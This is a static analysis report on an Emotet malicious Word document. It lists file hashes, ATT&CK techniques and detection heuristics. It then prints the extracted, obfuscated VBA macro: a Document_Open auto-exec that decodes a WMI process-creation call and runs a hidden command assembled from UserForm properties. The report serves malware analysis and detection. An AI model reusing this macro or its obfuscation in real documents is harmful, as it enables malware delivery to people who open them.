Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ca68a760ae6aadc1…

MALICIOUS

Office (OLE)

170.4 KB Created: 2020-07-28 17:47:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 46e9d7430b77e60ce132753243a06c67 SHA-1: 93c54fba26b0d62a8715896db2d3e710ff3b5d31 SHA-256: ca68a760ae6aadc1dd250d26ab1db80e3015df7e24a3b9b459343ea5bafda71f
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute a command stager. This technique, combined with the ClamAV detection name 'Doc.Downloader.Emotet-9376440-1', strongly suggests Emotet family activity. The macro's obfuscated nature and use of CreateObject point towards a downloader function, likely to fetch and execute further malicious content.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9376440-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9376440-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5124 bytes
SHA-256: 6c2290b6a8dd498a8b6a7286d09d994ef0e6e7cc5127998fca14bed9c514279d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FFDRYajgdlqynlo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
CELKXffvjruejooi.IMOAGuhcsdbrexuo
End Sub


Attribute VB_Name = "CELKXffvjruejooi"
Attribute VB_Base = "0{F325A7BB-93B2-4FA9-9167-D8D40787943F}{71045004-FBB0-45C5-B6E1-22D45E216F10}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function IMOAGuhcsdbrexuo()
ISDJNuzjadba = Chr(CELKXffvjruejooi.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
AQRALuexcqsr = "IVYTPmliuhecp"
Loop
NFZQYrgriubvztjgbf = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + ISDJNuzjadba + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + CELKXffvjruejooi.ELHYEtoyutxvi + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
DJBJTfxhlnno = "RBMCJcocadgyepugimy"
Loop
LDQJGqbwgxcrswa = SVUUYwesbjwxcqkfhn(NFZQYrgriubvztjgbf)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
TBOAHylibklfaouhhe = "AAYDFvkoqcacapsepm"
Loop
Set FGAOMolmtrzqvtzq = CreateObject(LDQJGqbwgxcrswa)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
MNXKOyaawfyaqjeqoxd = CELKXffvjruejooi.VGULRjwcgwme.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
VKRFBpsaxpvnydq = "VUYIFxjvgahkqikeuwj"
Loop
JESNVjyoqtuay = NN + (LDQJGqbwgxcrswa + ISDJNuzjadba) + CELKXffvjruejooi.SROQDgfnduzhrahbgc.ControlTipText + MNXKOyaawfyaqjeqoxd
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
LTGXLsfhlocs = JESNVjyoqtuay + CELKXffvjruejooi.ELHYEtoyutxvi
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
JUXNNvmzuoczkrx = "QDGYBvzaihjpfq"
Loop
Set IYHNHpkxwebyfjl = IXXSDlmihgfso(LTGXLsfhlocs)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
CTFOAxlvjkkaryizy = "BOQPLjnvwfflxue"
Loop
uiii = Array("BNSBSBBSSS", FGAOMolmtrzqvtzq. _
Create(MBIQBipcqqhdroykq, ZFECWmfhxnruiczild, IYHNHpkxwebyfjl), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function IXXSDlmihgfso(SMGKAhhkrjsyafikn)
Set IXXSDlmihgfso = CreateObject(SMGKAhhkrjsyafikn)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
CCNHVbeafqymq = "VYCUWopiisxssnufxa"
Loop
IXXSDlmihgfso.showwindow = (QCSMXibslzrybbymdx + PPOTUujdirgztxsz) + (DMEMUwdirtwruaqijl + BIYROfsaeaxbj)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function SVUUYwesbjwxcqkfhn(INIELbzwykrvlp)
ZPRUNsqdcbftvgzbt = INIELbzwykrvlp
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
DJRSButkldbn = "ORQRJmnymfvqgcw"
Loop
GYKKKhwygnzel = Split _
(ZPRUNsqdcbftvgzbt, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
ITSNPqrzqiqlrxuqase = "OINOVdrevbusxl"
Loop
AWSTKpjferack = kooooo + Join(GYKKKhwygnzel, buuuu)
Dim FE8À
... (truncated)

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